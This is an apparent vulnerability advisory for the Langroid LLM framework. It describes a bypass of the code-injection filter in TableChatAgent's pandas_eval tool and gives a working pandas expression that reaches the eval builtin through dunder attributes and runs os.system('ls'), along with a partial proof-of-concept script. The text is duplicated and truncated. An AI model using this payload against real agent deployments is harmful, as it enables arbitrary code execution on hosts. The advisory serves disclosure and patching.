Langroid is a framework for building large-language-model-powered applications. Prior to version 0.59.32, there is a bypass to the fix for CVE-2025-46724. TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in langroid/utils/pandas_utils.py introduced to block code injection CVE-2025-46724. However it can be bypassed due to _literal_ok() returning False instead of raising UnsafeCommandError on invalid input, combined with unrestricted access to dangerous dunder attributes (__init__, __globals__, __builtins__). This allows chaining whitelisted DataFrame methods to leak the eval builtin and execute arbitrary code. This issue has been patched in version 0.59.32.

Affected: PyPI: langroid

## Affected Scope

langroid <= 0.59.31

## Vulnerability Description

CVE-2025-46724 fix bypass:

TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.

## Reproduction & PoC

This payload is used to bypass the waf, when executed, the column name `__import__('os').system('ls')#...` will be passed to eval

```python df.add_prefix("__import__('os').system('ls')#").T.groupby(by=df.__init__.__globals__['__builtins__']['eval']) ```

here is the PoC

````python """Minimal TableChatAgent Demo using Langroid"""

import os from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig from langroid.agent.task import Task import pandas as pd from langroid.language_models.openai_gpt import OpenAIGPTConfig

# Path to the CSV/Excel/TSV file, or URL data = pd.DataFrame({ "id": [1], "name": ["admin"] })

# Create Table Chat Agent config = TableChatAgentConfig( data=data, llm=OpenAIGPTConfig( api_base=os.getenv("base_url"), api_key=os.getenv("api_key"), chat_model="deepseek-v…

Affected: PyPI: langroid

## Affected Scope

langroid <= 0.59.31

## Vulnerability Description CVE-2025-46724 fix bypass:

TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.

## Reproduction & PoC

This payload is used to bypass the waf, when executed, the column name `__import__('os').system('ls')#...` will be passed to eval

```python df.add_prefix("__import__('os').system('ls')#").T.groupby(by=df.__init__.__globals__['__builtins__']['eval']) ```

here is the PoC

````python """Minimal TableChatAgent Demo using Langroid"""

import os from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig from langroid.agent.task import Task import pandas as pd from langroid.language_models.openai_gpt import OpenAIGPTConfig

# Path to the CSV/Excel/TSV file, or URL data = pd.DataFrame({ "id": [1], "name": ["admin"] })

# Create Table Chat Agent config = TableChatAgentConfig( data=data, llm=OpenAIGPTConfig( api_base=os.getenv("base_url"), api_key=os.getenv("api_key"), chat_model="deepse…